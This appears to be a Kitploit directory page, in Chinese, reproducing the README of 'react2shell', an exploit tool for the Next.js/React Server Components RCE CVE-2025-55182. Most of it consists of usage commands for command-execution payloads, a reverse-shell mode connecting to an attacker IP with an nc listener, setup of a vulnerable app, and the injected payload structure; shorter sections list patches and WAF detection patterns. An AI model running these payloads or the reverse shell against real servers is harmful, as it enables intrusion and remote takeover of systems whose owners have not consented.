Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
react2shell — 一个完整的 CVE-2025-55182 漏洞利用框架 | Kitploit
工具/GitHubGitHub/zr0n/react2shell
漏洞分析代码分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育远程访问工具Payload 开发
GitHubzr0n/react2shell

react2shell

一个完整的 CVE-2025-55182 漏洞利用框架

查看仓库
1051310个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

React2Shell - CVE-2025-55182 漏洞利用 PoC

Security Platform License

针对 CVE-2025-55182 的概念验证(PoC)漏洞利用代码,该漏洞是 Next.js 应用使用 React Server Components 时存在的严重远程代码执行(RCE)漏洞。

⚠️ 免责声明

本工具仅用于教育和授权安全测试。

  • ❌ 请勿对您不拥有或未经明确授权许可的系统使用
  • ❌ 未经授权访问计算机系统属违法行为
  • ✅ 仅在受控环境中用于学习和授权渗透测试
  • ✅ 作者不对因使用本工具造成的滥用或损害负责

📋 漏洞详情

  • CVE ID:CVE-2025-55182
  • 漏洞类型:React Server Components 远程代码执行
  • 受影响版本:
    • Next.js:≥14.3.0-canary.77,所有使用 App Router 的 15.x 和 16.x 版本
    • React:19.0、19.1.0、19.1.1、19.2.0
  • 已修复版本:
    • Next.js:16.0.7、15.5.7、15.4.8、15.3.6、15.2.6、15.1.9、15.0.5
    • React:19.0.1、19.1.2、19.2.1
  • CVSS 评分:严重(Critical)
  • 攻击向量:基于网络,需要精心构造的 POST 请求

🎯 功能特性

  • ✅ 跨平台支持(Windows 和 Linux)
  • ✅ 多种载荷类型
  • ✅ 反向 Shell 功能
  • ✅ 可视化验证载荷(calc、notepad)
  • ✅ 文件系统操作
  • ✅ 系统信息收集

🔧 安装

# Clone or download this repository
git clone https://github.com/zr0n/react2shell
cd react2shell

# Install dependencies
npm install form-data

💻 使用方法

基本语法

node react2shell.js <target_url> <payload_type> [options]

可用载荷

载荷描述示例
basic数学概念验证(7*7+1=50)node react2shell.js http://target:3000 basic
whoami显示当前系统用户node react2shell.js http://target:3000 whoami
dir列出当前目录内容node react2shell.js http://target:3000 dir
systeminfo显示操作系统信息node react2shell.js http://target:3000 systeminfo
file创建 EXPLOITED.txt 验证文件node react2shell.js http://target:3000 file
calc启动计算器(Windows 可视化验证)node react2shell.js http://target:3000 calc
notepad启动记事本(Windows 可视化验证)node react2shell.js http://target:3000 notepad
shell反向 Shell(自动检测 Windows/Linux)node react2shell.js http://target:3000 shell 10.10.10.5 4444

示例

1. 基本概念验证

node react2shell.js http://localhost:3000 basic
# Check server console for output: EXPLOITED: 50

2. 系统侦察

# Get current user
node react2shell.js http://localhost:3000 whoami

# List files
node react2shell.js http://localhost:3000 dir

# System information
node react2shell.js http://localhost:3000 systeminfo

3. 可视化验证(Windows)

# Launch calculator
node react2shell.js http://localhost:3000 calc

# Launch notepad
node react2shell.js http://localhost:3000 notepad

4. 文件创建验证

node react2shell.js http://localhost:3000 file
# Check server directory for EXPLOITED.txt

5. 反向 Shell

# Terminal 1: Start listener
nc -lvnp 4444

# Terminal 2: Execute exploit
node react2shell.js http://localhost:3000 shell <YOUR_IP> 4444

# Works on both Windows (PowerShell) and Linux (Bash)

🏗️ 搭建易受攻击环境

环境要求

  • Node.js 18+
  • npm 或 yarn

创建易受攻击的 Next.js 应用

# Create project directory
mkdir vulnerable-nextjs-app
cd vulnerable-nextjs-app

# Initialize Next.js with vulnerable version
npx create-next-app@latest . --ts --app --no-eslint --tailwind

# Downgrade to vulnerable version
npm install [email protected]

# Install dependencies
npm install

最小易受攻击应用(app/page.tsx)

export default function Home() {
  return (
    <div className="p-8">
      <h1 className="text-4xl font-bold">Vulnerable Next.js App</h1>
      <p className="mt-4">This app is vulnerable to CVE-2025-55182</p>
    </div>
  );
}

启动服务器

npm run dev
# Server runs on http://localhost:3000

🔍 工作原理

该漏洞利用利用了 React Server Components 中的反序列化漏洞:

  1. 载荷构造:创建带有原型污染(prototype pollution)的恶意序列化对象
  2. 函数构造器访问:利用 constructor.constructor 访问 Function 构造器
  3. 代码注入:通过 _prefix 字段注入任意 JavaScript 代码
  4. 执行:服务器反序列化载荷并执行注入的代码

技术细节

// Simplified vulnerability chain
{
  _formData: {
    get: '$3:constructor:constructor' // Access Function constructor
  },
  _prefix: 'YOUR_CODE_HERE//' // Injected code
}

🛡️ 缓解措施

对于应用所有者

  1. 立即更新:

    npm update next@latest
    npm update react@latest react-dom@latest
    
  2. 验证已修复版本:

    npm list next react
    
  3. 所需版本:

    • Next.js:≥16.0.7 或 ≥15.5.7
    • React:≥19.2.1 或 ≥19.1.2

对于安全团队

  • 扫描您基础设施中易受攻击的 Next.js 版本
  • 实施 Web 应用防火墙(WAF)规则以检测恶意 RSC 载荷
  • 监控带有 next-action 标头的可疑 POST 请求
  • 审查服务器端日志中是否存在异常代码执行模式

📊 检测

WAF 规则

查找具有以下特征的 POST 请求:

  • 标头:next-action
  • Content-Type:multipart/form-data
  • 正文包含:constructor、_prefix、_formData

日志模式

POST / with next-action header
Suspicious FormData keys: 0, 1, 2, 3, 4
Response: 200 (successful exploitation) or 500 (failed)

📚 参考资料

  • CVE-2025-55182 - NVD
  • Next.js 安全公告
  • React 安全更新
  • OWASP 代码注入

🤝 贡献指南

这是一个教育工具。欢迎改进以下方面的贡献:

  • 检测能力
  • 文档
  • 防御策略
  • 教育内容

请勿提交增强攻击能力的贡献。

📜 许可证

仅限教育用途 - 不提供任何担保

👤 作者

Luiz Fernando Ziron 为网络安全教育和意识提升而创建。

⚖️ 法律声明

使用本工具即表示您同意:

  • 仅在您拥有或已获得明确书面许可的系统上使用
  • 对自己的行为承担全部责任
  • 不追究作者对任何滥用或损害的责任
  • 遵守所有适用的法律法规

在大多数司法管辖区,未经授权访问计算机系统属于犯罪行为。


保持安全,恪守道德,合法行事。🔒

下载工具